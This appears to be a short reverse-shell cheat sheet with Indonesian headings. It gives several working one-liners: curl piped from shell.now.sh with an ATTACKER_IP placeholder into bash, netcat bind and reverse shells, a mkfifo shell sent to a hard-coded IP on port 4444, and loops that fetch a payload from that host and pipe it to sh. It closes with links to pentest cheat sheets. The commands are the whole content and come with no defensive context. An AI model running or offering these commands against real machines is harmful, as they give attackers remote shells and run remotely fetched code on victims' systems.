• Using Curl

bash < <(curl https://shell.now.sh/ATTACKER_IP:ATTACKER_PORT;
bash < <(echo ls);

• Shell

Victim

nc -nvlp 4444 < /bin/sh

Attacker

nc victim-ip victim-port

• Three

Term-1

$ cat 1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 45.76.182.97 4444 >/tmp/f

$ nc 45.76.182.97 80 < 1

Term-2

nc -nvlp 4444

Term-Victim

$ nc 45.76.182.97 80|sh
$ `nc 45.76.182.97 80 > /tmp/1; bash /tmp/1`
$ `sh < <(curl -s 45.76.182.97)`

# A=`until /usr/bin/curl -s 45.76.182.97; do sleep 3; done`; `$A`
# echo $A | sh

• Referensi
• https://askubuntu.com/questions/564380/alternative-for-pipe-operator
• https://github.com/lukechilds/reverse-shell
• http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet